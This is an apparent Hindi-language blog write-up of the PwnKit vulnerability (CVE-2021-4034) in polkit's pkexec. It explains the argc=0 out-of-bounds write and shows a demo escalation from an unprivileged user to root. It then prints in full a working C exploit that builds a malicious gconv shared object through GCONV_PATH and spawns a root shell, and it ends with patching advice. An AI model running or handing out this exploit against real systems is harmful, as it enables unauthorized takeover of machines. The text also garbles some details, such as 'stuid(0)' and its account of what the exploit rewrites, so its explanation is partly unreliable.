
Polkit में स्थानीय विशेषाधिकार वृद्धि (LPE) भेद्यता - Pwnkit
2021 में खोजा गया लेकिन जनवरी 2022 में घोषित और खुलासा किया गया, CVE-2021-4034 को प्यार से Pwnkit नाम दिया गया था। हालाँकि, यह लगभग सभी OS - Linux वितरणों में Policy Toolkit - Polkit पैकेज के सभी संस्करणों में उपलब्ध है। संक्षेप में, यह भेद्यता किसी भी बिना विशेषाधिकार वाले हमलावर को अपनी पहुँच को OS व्यवस्थापक तक लंबवत रूप से बढ़ाने की अनुमति देती है।
[!IMPORTANT] हम यह भेद्यता pkexec संस्करण 0.105 या उससे पहले में पा सकते हैं।
हालाँकि यह अत्यंत गंभीर CVE है, जिसे NIST.GOV के अनुसार 7.8 अंकों के CVSS स्कोर के रूप में वर्गीकृत किया गया है, यह केवल स्थानीय रूप से शोषित किया जाता है, अर्थात इसे दूरस्थ रूप से (Web पहुँच) शोषित करना संभव नहीं है।
Polkit Linux प्राधिकरण प्रणाली के रूप में कार्य करता है। जब आपके पास ऐसा उपयोगकर्ता होता है जिसके पास कम विशेषाधिकार होते हैं और उसे कोई ऐसा कार्य करने की आवश्यकता होती है जिसके लिए उच्च विशेषाधिकार की आवश्यकता होती है (उदाहरण के लिए व्यवस्थापक), polkit जाँचता है कि आपके उपयोगकर्ता के पास आवश्यक अनुमति है या नहीं।
उदाहरण के लिए, PKexec उपयोगिता के साथ, हम polkit फ़ंक्शन को कॉल कर सकते हैं, जो अनुमति की जाँच करता है और यदि उसके पास अनुमति नहीं है तो पासवर्ड पूछता है। जैसा कि नीचे दिए गए उदाहरण में है;
जैसा कि ऊपर दिखाया गया है, Pwnkit भेद्यता PKexec में (अनुमति जाँच प्रक्रिया में) मौजूद है, इस भेद्यता के लिए, जब PKexec को कमांड लाइन (CLI) द्वारा निष्पादित किया जाता है, तो मापदंडों से निपटने में कोई सुरक्षा नहीं होती है, जहाँ यह हमलावर को वातावरण में हेरफेर करने की अनुमति देता है और "Out-of-Bounds Write" नामक एक दोष उत्पन्न होता है।
PKexec किसी भी कमांड-लाइन तर्क को पार्स करने का प्रयास करता है जिसे हम इसे for-loop का उपयोग करके देते हैं, जो प्रोग्राम के नाम को ऑफसेट करने और पहला वास्तविक तर्क प्राप्त करने के लिए इंडेक्स 1 से शुरू होता है। प्रोग्राम का नाम तर्क पार्सिंग के लिए अप्रासंगिक है, इसलिए अनुक्रमण को अनदेखा करने के लिए बस ऑफसेट किया जाता है।
इसलिए यदि हम कोई तर्क परिभाषित नहीं करते हैं, तो इंडेक्स स्वचालित रूप से 1 पर परिभाषित हो जाता है।
आइए नीचे एक उदाहरण बनाएँ।
for(n=1; n < number_of_arguments; n++){
}
यदि तर्कों की संख्या 0 है, तो 'N' कभी भी तर्कों की संख्या से कम नहीं होता है। इस प्रकार, 'N' एक के बराबर रहता है और लूप पूरी तरह से बायपास हो जाता है, लूप नहीं चलेगा।
चूँकि कोई कमांड-लाइन तर्क नहीं होते हैं, इंडेक्स n पर कोई तर्क नहीं होता है — इसके बजाय प्रोग्राम मेमोरी में अगली चीज़ को अधिलेखित कर देता है, जो कि संयोग से execve() नामक C फ़ंक्शन का उपयोग करके प्रोग्राम को कॉल करने पर पर्यावरण चर की सूची में पहला मान होता है। दूसरे शब्दों में, PKexec को तर्कों की एक शून्य सूची देकर, हम इसे एक पर्यावरण को अधिलेखित करने के लिए मजबूर कर सकते हैं।
इस भेद्यता को आसानी से शोषित करने के कई तरीके और विभिन्न इंटरनेट स्क्रिप्ट हैं। समय बचाने के लिए, हम अपने मित्र Arthepsy's रिपॉजिटरी की इस भेद्यता को निष्पादित करने वाली C में बनाई गई एक स्क्रिप्ट का उपयोग करेंगे।
यह स्क्रिप्ट GCONV_PATH चर का उपयोग करती है ताकि एक साझा ऑब्जेक्ट शामिल किया जा सके जो /bin/sh को root के रूप में कॉल करता है।
Arthepsy - CVE-2021-4034 - exploit.c
स्क्रिप्ट चलाने से पहले, हम भेद्य होस्ट तक आपकी पहुँच की जाँच करेंगे।
हमारे पास UID 1000 वाला उपयोगकर्ता है (root नहीं) और हम व्यवस्थापकीय कार्यों, जैसे कि Useradd, को निष्पादित नहीं कर सकते।
हमें root उपयोगकर्ता तक पहुँच मिल गई और हम Useradd जैसे कुछ कार्यों को निष्पादित करने में सफल रहे (त्रुटि किसी अन्य समस्या को संदर्भित करती है, लेकिन हम प्रक्रिया को root के रूप में निष्पादित करने में सक्षम थे)।
पूर्ण ✔️
इस अन्वेषण को समाप्त करने के लिए, हम नीचे दी गई शोषण स्क्रिप्ट पर एक नज़र डाल सकते हैं;
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
यह मूल रूप से पहले चर्चित PKexec तर्कों का शोषण करता है और GCONV_PATH पर्यावरण चर को /bin/sh के साथ पुनर्लेखित करता है तथा stuid(0) (root) सेट करता है।
OS पैकेज में पहले से ही सही किए गए संस्करण उपलब्ध हैं, केवल sudo apt update && sudo apt upgrade कमांड चलाकर, आपके सिस्टम की इस समस्या को ठीक करना पहले से ही संभव है।